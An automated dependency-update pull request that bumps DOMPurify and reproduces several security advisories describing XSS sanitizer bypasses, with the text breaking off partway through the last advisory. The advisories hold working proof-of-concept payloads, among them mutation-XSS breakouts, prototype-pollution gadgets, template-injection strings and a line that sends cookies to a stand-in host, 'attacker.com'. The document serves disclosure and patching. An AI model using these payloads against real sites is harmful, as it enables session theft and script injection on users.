chore(deps): update dependency dompurify to v3.4.9 [security] by renovate[bot] · Pull Request #420 · wingkwong/react-quiz-component

renovate · 2026-03-05T22:03:58Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`3.3.1` → `3.4.9`

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2026-0540 / GHSA-v2wj-7wpq-c8vv

More information

Details

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Severity

CVSS Score: 5.1 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

Start the PoC app:

npm install
npm start

Open http://localhost:3001.
Set Wrapper en sink to xmp.
Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

Click Sanitize + Render.
Observe:

Sanitized response still contains the </xmp> sequence inside alt.
The sink reparses to include <img src="x" onerror="alert('expoc')">.
alert('expoc') is triggered.

Files:

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

PoC

daft-video.webm

XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
Keep the rendering context stable from sanitize to sink.
Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify USE_PROFILES prototype pollution allows event handlers

GHSA-cj63-jhhr-wcxv

More information

Details

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify ADD_ATTR predicate skips URI validation

GHSA-cjmm-f4jc-qw8r

More information

Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

Affected Version

v3.3.3 (commit 883ac15)

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

CVE-2026-41238 / GHSA-v9jr-rg53-9pgp

More information

Details

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions

3.0.1 through 3.3.3 (current latest) — all affected
3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment)
The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor
This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)

Root Cause

In purify.js at line 590, during config parsing:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact

Attack type: XSS bypass via prototype pollution chain
Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected.
Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization

Proof of Concept

// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires

Tested configurations that are vulnerable:

Call Pattern	Vulnerable?
`DOMPurify.sanitize(input)`	YES
`DOMPurify.sanitize(input, {})`	YES
`DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })`	YES
`DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })`	NO (explicit object triggers L591 path)

Suggested Fix

Change line 590 from:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

To:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:

DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});

Timeline

2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3
2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
2026-04-04: Advisory drafted, responsible disclosure initiated

Credit

https://github.com/trace37labs

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary

Field	Value
Severity	Medium
Affected	DOMPurify `main` at `883ac15`, introduced in v1.0.10 (`7fc196db`)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):

// pass #&#8203;1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}

Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #&#8203;2 never runs
}

// pass #&#8203;2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it
<foo> is not allowed, so DOMPurify removes it but keeps surrounding text
The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

Severity

CVSS Score: 6.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity

CVSS Score: 6.0 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside content when using DOM output modes

GHSA-gvmj-g25r-r7wr

More information

Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.

Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117
const walker = createNodeIterator.call(
  node.ownerDocument || node,
  node,
  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
  null
);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
  const parentNode = getParentNode(currentNode);
  const childNodes = getChildNodes(currentNode);
  if (childNodes && parentNode) {
    for (let i = childCount - 1; i >= 0; --i) {
      const childClone = cloneNode(childNodes[i], true);
      parentNode.insertBefore(childClone, getNextSibling(currentNode));
    }
  }
}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.

Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

Fragment	Against `TMPLIT_EXPR` `/\${[\w\W]*/g`	Against `MUSTACHE_EXPR` `/{{[\w\W]\|^[\w\W]}}/g`	Result
`$`	Requires `${` - no `{` follows	No `{{` or `}}`	Survives
`{alert(document.domain)}`	Requires leading `$` - absent	No `{{`, ends with single `}` not `}}`	Survives
`${alert(document.domain)}`	Full match - would be stripped	-	Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

PoC 1 - XSS via `alert()` (baseline confirmation)

// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
  '<template>' +
    '<x-split-1>$</x-split-1>' +
    '<x-split-2>{alert(document.domain)}</x-split-2>' +
  '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"]  <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}"  <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
  import DOMPurify from './dist/purify.es.mjs';

  // Simulates fetching and rendering user-submitted comment
  async function renderComment(userHtml) {
    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
    const dom = DOMPurify.sanitize(userHtml, {
      RETURN_DOM: true,
      SAFE_FOR_TEMPLATES: true,
    });

    // Application iterates <template> elements and evaluates their content
    // (common pattern in component-based frameworks)
    dom.querySelectorAll('template').forEach(tmpl => {
      tmpl.content.normalize(); // standard DOM housekeeping
      const content = tmpl.content.textContent;

      // Application uses template literals to interpolate user content into UI
      const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
      document.getElementById('output').innerHTML += rendered;
    });
  }

  // Attacker-supplied comment content
  const attackerComment =
    '<template>' +
      '<x-a>$</x-a>' +
      '<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
    '</template>';

  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
  renderComment(attackerComment);
  // !! XSS fires, alert pops with session cookies !!
</script>

Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.

PoC 4 - `IN_PLACE` mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

